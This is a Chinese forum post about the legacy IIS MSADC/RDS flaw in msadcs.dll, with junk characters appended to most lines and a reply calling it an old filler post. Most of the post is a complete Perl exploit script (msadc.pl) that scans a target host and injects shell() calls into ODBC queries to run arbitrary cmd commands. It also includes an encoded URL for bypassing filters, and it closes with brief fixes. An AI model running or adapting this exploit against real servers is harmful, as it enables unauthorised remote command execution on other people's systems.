社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167667阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) @,^c?v  
$*')Sma  
涉及程序: uB1>.Pvxb  
Microsoft NT server k[Ue}L|  
om oD +  
描述: Rp0`%}2 o  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 tv 7"4$T  
4`[2Te>  
详细: 2{}8_G   
如果你没有时间读详细内容的话,就删除: 5._1G| 3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $a#-d;  
有关的安全问题就没有了。 Fm#`}K_  
T0e- X  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 f`vu+nw  
sS{!z@\Lf  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 M 8NWQ^Y  
关于利用ODBC远程漏洞的描述,请参看: 4.e0k<]N`  
%y|L'C,ge"  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oAprM Z 7Y  
MHqk-4Mz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 g-LMct8$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp L/c`t7  
/6{P ?)]pE  
这里不再论述。 aN?^vW<  
?RPVd8PUhN  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: =1r!'<"h  
l.Q.G<ol  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8= "01  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^JM O POm  
7R7e3p,K  
6>NK2} `  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ){I!orQ  
"$#<+H>O  
#!perl ty\F~]Oo  
# .%G>z"Xx  
# MSADC/RDS 'usage' (aka exploit) script SpC6dkxD\  
# [/Sk+ID  
# by rain.forest.puppy -{z<+(K!$  
# (.pi,+Ws  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !O 0{ .k  
# beta test and find errors! ],-(YPiAD  
3EV?=R  
use Socket; use Getopt::Std; 2|A?9aE%0  
getopts("e:vd:h:XR", \%args); k?;@5r)y-  
M(U<H;Csk  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4DgH/Yo  
{\vcwMUzZ  
if (!defined $args{h} && !defined $args{R}) { L_sDbAT~<  
print qq~ 7e:eL5f>~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } E_ D0Nm%n  
-h <host> = host you want to scan (ip or domain) m*'hHt n  
-d <seconds> = delay between calls, default 1 second 'm^]X3y*  
-X = dump Index Server path table, if available {YK7';_E*  
-v = verbose A~X| vW  
-e = external dictionary file for step 5 /hSEm.<  
*X /i<  
Or a -R will resume a command session G{74o8  
. e_VPKF|  
~; exit;} s4`,Z*H  
@]YEOk-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; kB9@ &t +  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 43,baeG  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ] ^53Qbrv  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); tGJJ|mle>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |OiM(E(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5)C`W]JE  
T STkMlCG  
if (!defined $args{R}){ $ret = &has_msadc; (L*<CV  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} j6WDh}#  
\Mzr[dI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" N4l}5(e  
. "cmd /c "; aTwBRm  
$in=<STDIN>; chomp $in;  ]&OI.p  
$command="cmd /c " . $in ; *?pnTQs^  
YYhN>d$  
if (defined $args{R}) {&load; exit;} _>J`e7j+  
F~sUfqiJ'  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f^)iv ]p  
&try_btcustmr; JAX`iQd  
\h/)un5  
print "\nStep 2: Trying to make our own DSN..."; fTt\@" V  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &NX7  
Qp9QS yMs}  
print "\nStep 3: Trying known DSNs..."; 8ZCR9%  
&known_dsn; b}&.IJ&40j  
/@64xrvIl=  
print "\nStep 4: Trying known .mdbs..."; VwKfM MI8  
&known_mdb; I7HGV(  
T"3:dkQw  
if (defined $args{e}){ !0_/=mA^  
print "\nStep 5: Trying dictionary of DSN names..."; A,EuUp  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } i9Eh1A3Y  
AC*SmQ\>!  
print "Sorry Charley...maybe next time?\n"; $DdC|gMK  
exit; R|92T*h  
;` h$xB(  
############################################################################## .%+anVXS  
Dy*K;e-+  
sub sendraw { # ripped and modded from whisker E|A~T7G=  
sleep($delay); # it's a DoS on the server! At least on mine... z.|[g$F  
my ($pstr)=@_; OF0v0Y/a  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || jx}7/  
die("Socket problems\n"); XAN.Plk  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZnBGNr  
select(S); $|=1; s"5nfl  
print $pstr; my @in=<S>; p fR~?jYzm  
select(STDOUT); close(S); Lvrflx*Q  
return @in; A ^t _"J  
} else { die("Can't connect...\n"); }} @~}~;}0x  
#O{cplh,  
############################################################################## Qxfds`4V9i  
{v"Y!/ [z  
sub make_header { # make the HTTP request 9g|99Z  
my $msadc=<<EOT }USOWsLSt  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 m%nRHT0KAf  
User-Agent: ACTIVEDATA D`fIw` _  
Host: $ip D!8v$(#hR  
Content-Length: $clen Uz=o l.E  
Connection: Keep-Alive 22*~CIh~x  
xiV!\Z}  
ADCClientVersion:01.06 2UIZ<#|D>s  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fWf't2H&  
\]g51U!'  
--!ADM!ROX!YOUR!WORLD! "ZL_  
Content-Type: application/x-varg p,tkVedR  
Content-Length: $reqlen \E'z+0  
9 e|[9  
EOT ] &SmeTe  
; $msadc=~s/\n/\r\n/g; }:Y)DH% u  
return $msadc;} yMD3h$w3a  
CM6! 1 7  
############################################################################## [{>3"XJ'  
FOteN QTj  
sub make_req { # make the RDS request \t%iUZ$  
my ($switch, $p1, $p2)=@_; '#>Fe`[  
my $req=""; my $t1, $t2, $query, $dsn; `.Zm}'  
lavy?tFer  
if ($switch==1){ # this is the btcustmr.mdb query $1FnjL5u  
$query="Select * from Customers where City=" . make_shell(); hkRqtpYK  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . OdO n wY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /([a%,DI  
^M\X/uq$E  
elsif ($switch==2){ # this is general make table query \}\# fg  
$query="create table AZZ (B int, C varchar(10))"; O`I}Lg]~q  
$dsn="$p1";} ~~O4!|t  
,fhF-%Q!g  
elsif ($switch==3){ # this is general exploit table query `(DHa=s1  
$query="select * from AZZ where C=" . make_shell(); mM~&mAa+Z  
$dsn="$p1";} JmeE}:5lpj  
A%X=yqY  
elsif ($switch==4){ # attempt to hork file info from index server h(^c5#.  
$query="select path from scope()"; Z ;[xaP\S  
$dsn="Provider=MSIDXS;";} ,L MN@G  
hUX8j9N>  
elsif ($switch==5){ # bad query qL <@PC.5  
$query="select"; i3pOGa<  
$dsn="$p1";} G`/4 n@  
*^RoI  
$t1= make_unicode($query); %&0/ Ypp=  
$t2= make_unicode($dsn); ~Ye nH  
$req = "\x02\x00\x03\x00"; TRJTJM_k  
$req.= "\x08\x00" . pack ("S1", length($t1)); M`7[hr  
$req.= "\x00\x00" . $t1 ; n/`!G?kvI  
$req.= "\x08\x00" . pack ("S1", length($t2)); )L7[;(gQ  
$req.= "\x00\x00" . $t2 ; @ 'c(q=K;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 2jlz#Sk  
return $req;} ;$8ptB.  
-d thY(8  
############################################################################## 9g# 62oIg  
b~B'FD  
sub make_shell { # this makes the shell() statement k!G{#(++&6  
return "'|shell(\"$command\")|'";} /q8B | (U  
?NvE9+n  
############################################################################## 0:-z+`RHE  
';}:*nZ//_  
sub make_unicode { # quick little function to convert to unicode 'n^?DPvD  
my ($in)=@_; my $out; j&U7xv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Vk2%yw>  
return $out;} Efoy]6P\  
TU;AO%5  
############################################################################## _yF@k~ h  
@=2u;$.  
sub rdo_success { # checks for RDO return success (this is kludge) Hzc}NyJ  
my (@in) = @_; my $base=content_start(@in); }x& X vI  
if($in[$base]=~/multipart\/mixed/){ KS1udH^Zc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} b4EUr SL  
return 0;} Y+kuj],h  
{U@"]{3Qx  
############################################################################## ,\i,2<hz.  
K9Onjs% U  
sub make_dsn { # this makes a DSN for us SL`; `//  
my @drives=("c","d","e","f"); }_-tJ.  
print "\nMaking DSN: "; X"mPRnE330  
foreach $drive (@drives) { W7(5z  
print "$drive: "; ,L<x=Dg  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G(wstHT;/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2Dt^W.!  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N"tX K  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  DZ4gp  
return 0 if $2 eq "404"; # not found/doesn't exist /reGT!u  
if($2 eq "200") { Q@8(e&{#W  
foreach $line (@results) { +>AVxV=A#  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} K>5 bb  
} return 0;} &x=_n'  
_/"e'@z  
############################################################################## F>^KXq:Z  
X\w["! B  
sub verify_exists { cvf?ID84  
my ($page)=@_; j?T>S]xOX  
my @results=sendraw("GET $page HTTP/1.0\n\n"); BHS@whj  
return $results[0];} vl6|i)D  
@P>>:002/  
############################################################################## 8G2QI4  
B5h)F> &G  
sub try_btcustmr { `sy_'`i>X  
my @drives=("c","d","e","f"); L_|iQwU%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gwsOw [;k  
O/$41mK+!  
foreach $dir (@dirs) {  >|gXE>  
print "$dir -> "; # fun status so you can see progress 8r:T&)v  
foreach $drive (@drives) { smn(q)tt  
print "$drive: "; # ditto 2yD ?f8P4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; DZLEx{cm  
$reqlenlen=length( "$reqlen" ); ?R4u>AHS@  
$clen= 206 + $reqlenlen + $reqlen; ,\1Rf.  
N)a5~<fBG  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); {?++T 0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} KY0<N 9{  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &U CtyCz  
n5efHJU  
############################################################################## L?P[{Ohh/  
^|vP").aQm  
sub odbc_error { Fp"c {  
my (@in)=@_; my $base; 9b&;4Yq!f  
my $base = content_start(@in); b$pCp`/MT  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /J Y6S  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1}SON4U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k_Sm ep  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7q 5 \]J[  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?)-anoFyVW  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;% i-:<ac  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W5()A,R  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} f_;tFP B  
rf 60'   
############################################################################## {zc*yV\  
WP Gp(X w  
sub verbose { E7.{SGH}  
my ($in)=@_; \d:Uq5d)0  
return if !$verbose; x_/l,4_  
print STDOUT "\n$in\n";} BeD>y@ it  
L_+ Fin  
############################################################################## nB[B FVkU  
0S }\ML  
sub save { 4PR&67|AH_  
my ($p1, $p2, $p3, $p4)=@_; h/y0Q~|/d  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {w,<igh  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7|bBC+;(  
close OUT;} YguW2R=6]  
FPZ@6  
############################################################################## @at*E%T[  
uINEq{yo  
sub load { 7Up-a^k^`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; iAPGP -<6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \{Je!#  
@p=<IN>; close(IN); Lm.N {NV'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;*U&lT  
$target= inet_aton($ip) || die("inet_aton problems"); V`i(vC(  
print "Resuming to $ip ..."; Zs;c0T ">  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 7TU77  
if($p[1]==1) { 9"/=D9o9  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; HCYy9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Se\iM s  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q&@<?K9  
if (rdo_success(@results)){print "Success!\n";} Y{@foIZ  
else { print "failed\n"; verbose(odbc_error(@results));}} pe).  
elsif ($p[1]==3){ _j{)%%?r  
if(run_query("$p[3]")){ 1Mx2%  
print "Success!\n";} else { print "failed\n"; }} . S;o#Zw*R  
elsif ($p[1]==4){ t:,lz8Y~  
if(run_query($drvst . "$p[3]")){ ADP3Nic  
print "Success!\n"; } else { print "failed\n"; }} <]#_&Na  
exit;} W'E3_dj+  
BvHI}=  
############################################################################## -- IewW  
lQt,(@7]  
sub create_table { !:uh? RW  
my ($in)=@_; bGwj` lue  
$reqlen=length( make_req(2,$in,"") ) - 28; B4c;/W-  
$reqlenlen=length( "$reqlen" ); 5nmE*(  
$clen= 206 + $reqlenlen + $reqlen; 8{7'w|/;.{  
my @results=sendraw(make_header() . make_req(2,$in,"")); 9I#a{%A:  
return 1 if rdo_success(@results); %+#l{\z  
my $temp= odbc_error(@results); verbose($temp); O`PQ4Q*F  
return 1 if $temp=~/Table 'AZZ' already exists/; #"H<k(-Cz  
return 0;} %RzkP}1>E  
Lm0q/d2|\X  
############################################################################## `d x.<R#,  
qjf4G[]!  
sub known_dsn { O -p^S  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go <K/iX%b?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >Il{{{\>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :g-vy9vb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Y8fel2;  
!NKPy+v  
foreach $dSn (@dsns) { w2`JFxQ^x  
print "."; 62[_u]<Yub  
next if (!is_access("DSN=$dSn")); 6pZ/C<Y|W  
if(create_table("DSN=$dSn")){ 6$csFW3R  
print "$dSn successful\n"; X&@>M}  
if(run_query("DSN=$dSn")){ wLg@BSC.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Y]B9*^d<  
print "Something's borked. Use verbose next time\n";}}} print "\n";} q'Y)Y(d  
u=#_8e(9Z  
############################################################################## Cs,t:ajP  
,ob)6P^rw  
sub is_access { Q%V530 P;  
my ($in)=@_; m8gU8a"(  
$reqlen=length( make_req(5,$in,"") ) - 28; O"RIY3m  
$reqlenlen=length( "$reqlen" ); /$FpceB!W  
$clen= 206 + $reqlenlen + $reqlen; "Gq%^^ *  
my @results=sendraw(make_header() . make_req(5,$in,"")); :&RpB^]  
my $temp= odbc_error(@results); I Vw'YtZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); wc}4:~  
return 0;} <c [X^8   
KJV],6d  
############################################################################## FuFICF7+C  
Rp}Sm,w(  
sub run_query { Q[aBxy (  
my ($in)=@_; H^$7=  
$reqlen=length( make_req(3,$in,"") ) - 28; 5<oV>|*@{  
$reqlenlen=length( "$reqlen" ); Ik=bgEF  
$clen= 206 + $reqlenlen + $reqlen; ag!q:6&  
my @results=sendraw(make_header() . make_req(3,$in,"")); rC,ZRFF  
return 1 if rdo_success(@results); G49`a*Jn  
my $temp= odbc_error(@results); verbose($temp); !4$o*{9Lx:  
return 0;} "T>;wyGW  
}\W^$e-  
############################################################################## 0F &(}`V  
`2HNQiK'@  
sub known_mdb { <*ME&c gh4  
my @drives=("c","d","e","f","g"); DM(c :+K-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^X:g C9  
my $dir, $drive, $mdb; sHSg _/|  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5hlS2fn  
N_VWA.JHt  
# this is sparse, because I don't know of many @4]dv> Z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #/hXcF  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", IBh?vh  
"\\system32\\certmdb.mdb", )hfI,9I~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% B+ZhQW  
0qN+W&H  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rp!{QG  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |W|RX3D  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D}nRH@<`  
"\\cfusion\\cfapps\\security\\realm_.mdb", 9t&m\J >8;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Z.U8d(  
"\\cfusion\\database\\cfexamples.mdb",  ;W@  
"\\cfusion\\database\\cfsnippets.mdb", !q^2| %  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", A$::|2~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", h$$i@IO0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >WY\P4)k  
"\\cfusion\\database\\smpolicy.mdb", z3yAb"1Hg  
"\\cfusion\\database\cypress.mdb", ,T+.xB;Q@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [|L~" BB  
"\\website\\cgi-win\\dbsample.mdb", N[xa=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", NHaqT@:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2>kk6=<5'  
); #these are just T2 XLP  
foreach $drive (@drives) { l-6W]\v Z  
foreach $dir (@dirs){ 6>Is-/hsy  
foreach $mdb (@sysmdbs) { 9aY}+hgb#  
print "."; mGc i >)2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9?+?V}o  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Sfffm$H  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ wD $sKd  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; %9T|"\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} vu_ u\2d  
}h9f(ZyJn  
foreach $drive (@drives) { #pWeMt'  
foreach $mdb (@mdbs) { JZoH -  
print "."; $HFimU,V=0  
if(create_table($drv . $drive . $dir . $mdb)){ 0JV|wd8j  
print "\n" . $drive . $dir . $mdb . " successful\n"; ,4S6F HK  
if(run_query($drv . $drive . $dir . $mdb)){ OZ Hfd7K4A  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g6;a2  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2U'Vq  
} E~c>LF_]Q  
 dm{/  
############################################################################## Z WhV"]w&  
l9F]Lw  
sub hork_idx { `"eIzLc%o6  
print "\nAttempting to dump Index Server tables...\n"; `it  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [xl+/F7  
$reqlen=length( make_req(4,"","") ) - 28; x:`"tJa  
$reqlenlen=length( "$reqlen" ); N7dI}ju  
$clen= 206 + $reqlenlen + $reqlen; kaNK@a=e|/  
my @results=sendraw2(make_header() . make_req(4,"","")); rSNaflYAr  
if (rdo_success(@results)){ RhSoD.Da  
my $max=@results; my $c; my %d; [?Vk wFD0  
for($c=19; $c<$max; $c++){ 7DW HADr  
$results[$c]=~s/\x00//g; 42.y.LtZ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Y86 mg7[U/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /"7_75 t  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G`FY[^:  
$d{"$1$2"}="";} 4So ,m0v  
foreach $c (keys %d){ print "$c\n"; } je5GZFQw  
} else {print "Index server doesn't seem to be installed.\n"; }} 2NZC,znQ  
#CNK [y  
############################################################################## NFBhnNH+  
#;s5=aH  
sub dsn_dict { pLsWy&G  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); }+GIrEDId  
while(<IN>){ n]v,cfn/=<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; *ZV=4[#bT  
next if (!is_access("DSN=$dSn")); +o}mV.&1,  
if(create_table("DSN=$dSn")){ ]Jx_bs~g  
print "$dSn successful\n"; =g$>]AE  
if(run_query("DSN=$dSn")){ }/.GB5Ej  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \@GKVssw  
print "Something's borked. Use verbose next time\n";}}} W=!di3IA  
print "\n"; close(IN);} '2xfU  
*.A{p ;JC(  
############################################################################## 3mLtnRX[m  
]}>uvl^l  
sub sendraw2 { # ripped and modded from whisker ,];QzENw  
sleep($delay); # it's a DoS on the server! At least on mine... W$Op/  
my ($pstr)=@_; *dX 7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t4r%EP|Zt  
die("Socket problems\n"); U6LENY+Ja  
if(connect(S,pack "SnA4x8",2,80,$target)){ oaM 3#QJ  
print "Connected. Getting data"; |HA1.Y=  
open(OUT,">raw.out"); my @in; 50NLguE  
select(S); $|=1; print $pstr; i5Dq'wp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]O+W+h{]  
close(OUT); select(STDOUT); close(S); return @in; K7}]pk,AG  
} else { die("Can't connect...\n"); }} ) 0|X];sD  
.dTXC'  
############################################################################## H{VJ S Jc{  
)]3_o!o  
sub content_start { # this will take in the server headers ,p9>/)l  
my (@in)=@_; my $c; R}HNi(%"  
for ($c=1;$c<500;$c++) { dNT<![X\  
if($in[$c] =~/^\x0d\x0a/){ \'-E[xNcWI  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } V8" m_  
else { return $c+1; }}} 5PPaR|c3  
return -1;} # it should never get here actually e&ci\x%  
^#)]ICV  
############################################################################## }MW+K&sIh  
xw~3x*{  
sub funky { D> EN:_v  
my (@in)=@_; my $error=odbc_error(@in); P8n |MN  
if($error=~/ADO could not find the specified provider/){ K)s{D ] B  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; /=S\v<z  
exit;} &v g[k#5  
if($error=~/A Handler is required/){ 8m 5T  
print "\nServer has custom handler filters (they most likely are patched)\n"; xpB* > zb  
exit;} Wr;9Mz&{  
if($error=~/specified Handler has denied Access/){ -5d^n\CDK  
print "\nServer has custom handler filters (they most likely are patched)\n"; J @^Ypq  
exit;}} #B!<gA$/  
9 1ndr@*|  
############################################################################## c^x5 E`{  
@"O|[%7e  
sub has_msadc { gfly?)VnF  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _tR?WmNH=  
my $base=content_start(@results); *`~]XM@H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); #-8%g{  
return 0;} pra0:oHN  
o&:'MwU  
######################## {Xv0=P  
w>TTu: 7  
W>y &  
解决方案: }5]7lGR  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9oTtH7%  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \"1%>O*  
+D d !  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八